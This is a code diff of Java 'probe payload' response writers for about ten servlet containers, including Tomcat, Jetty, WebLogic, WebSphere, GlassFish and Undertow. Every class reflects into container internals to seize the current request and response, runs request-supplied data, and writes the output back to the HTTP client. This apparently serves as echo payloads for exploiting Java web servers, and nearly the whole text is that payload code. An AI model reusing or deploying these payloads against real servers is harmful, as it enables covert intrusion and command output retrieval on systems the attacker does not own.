|||||||
+42
-12
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,10 +25,8 @@ public class GlassFishWriter {
|
|||||||
// GlassFish3
|
// GlassFish3
|
||||||
Thread thread = Thread.currentThread();
|
Thread thread = Thread.currentThread();
|
||||||
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
if (tryWriteRes(request)) {
|
||||||
String data = getDataFromReq(request);
|
return;
|
||||||
if (data != null && !data.isEmpty()) {
|
|
||||||
execute(response, data);
|
|
||||||
}
|
}
|
||||||
} catch (Exception x) {
|
} catch (Exception x) {
|
||||||
// GlassFish4+
|
// GlassFish4+
|
||||||
@@ -48,10 +49,7 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
|
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
|
||||||
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
|
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
if (tryWriteRes(request)) {
|
||||||
String data = getDataFromReq(request);
|
|
||||||
if (data != null && !data.isEmpty()) {
|
|
||||||
execute(response, data);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -64,16 +62,33 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void execute(Object response, String data) throws Exception {
|
private boolean tryWriteRes(Object request) throws Exception {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
|
String data = getDataFromReq(request);
|
||||||
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
private String getDataFromReq(Object request) throws Exception {
|
private String getDataFromReq(Object request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
@@ -119,4 +134,19 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+33
-9
@@ -2,8 +2,10 @@ package com.reajason.javaweb.probe.payload.response;
|
|||||||
|
|
||||||
import org.eclipse.jetty.util.Callback;
|
import org.eclipse.jetty.util.Callback;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.io.StringWriter;
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -49,24 +51,31 @@ public class JettyWriter {
|
|||||||
}
|
}
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
StringWriter sw = new StringWriter();
|
String result = "";
|
||||||
PrintWriter writer = new PrintWriter(sw);
|
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
String result = sw.toString();
|
if (result != null) {
|
||||||
System.out.println("result: " + result);
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
try {
|
try {
|
||||||
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
resWriter.write(result);
|
resWriter.write(result);
|
||||||
} catch (Exception e) {
|
resWriter.flush();
|
||||||
|
resWriter.close();
|
||||||
|
} catch (Exception x) {
|
||||||
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
||||||
ByteBuffer content = UTF_8.encode(result);
|
ByteBuffer content = UTF_8.encode(result);
|
||||||
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
|
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -122,4 +131,19 @@ public class JettyWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+35
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,17 +25,30 @@ public class ResinWriter {
|
|||||||
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
|
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
|
||||||
Object response = getFieldValue(request, "_response");
|
Object response = getFieldValue(request, "_response");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
// com.caucho.server.connection.AbstractHttpResponse.close
|
// com.caucho.server.connection.AbstractHttpResponse.close
|
||||||
// 不关闭 response 的话会遇到重复写响应体的情况
|
// 不关闭 response 的话会遇到重复写响应体的情况
|
||||||
invokeMethod(response, "close", null, null);
|
// invokeMethod(response, "close", null, null);
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -84,4 +100,19 @@ public class ResinWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-5
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -23,17 +26,26 @@ public class SpringWebMvcWriter {
|
|||||||
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
|
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -85,4 +97,19 @@ public class SpringWebMvcWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -23,16 +26,26 @@ public class Struct2Writer {
|
|||||||
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -84,4 +97,19 @@ public class Struct2Writer {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-3
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -71,14 +74,25 @@ public class TomcatWriter {
|
|||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -134,4 +148,19 @@ public class TomcatWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-3
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -70,14 +73,25 @@ public class TongWebWriter {
|
|||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@@ -127,4 +141,19 @@ public class TongWebWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+34
-3
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -31,14 +34,27 @@ public class UndertowWriter {
|
|||||||
Object request = getFieldValue(value, "servletRequest");
|
Object request = getFieldValue(value, "servletRequest");
|
||||||
Object response = getFieldValue(value, "servletResponse");
|
Object response = getFieldValue(value, "servletResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -93,4 +109,19 @@ public class UndertowWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+33
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -38,16 +41,27 @@ public class WebLogicWriter {
|
|||||||
}
|
}
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
// 防止重复写响应,提前触发 send 操作
|
// 防止重复写响应,提前触发 send 操作
|
||||||
invokeMethod(response, "send", null, null);
|
// invokeMethod(response, "send", null, null);
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -101,4 +115,19 @@ public class WebLogicWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -32,17 +35,27 @@ public class WebSphereWriter {
|
|||||||
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
|
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
@@ -96,4 +109,19 @@ public class WebSphereWriter {
|
|||||||
}
|
}
|
||||||
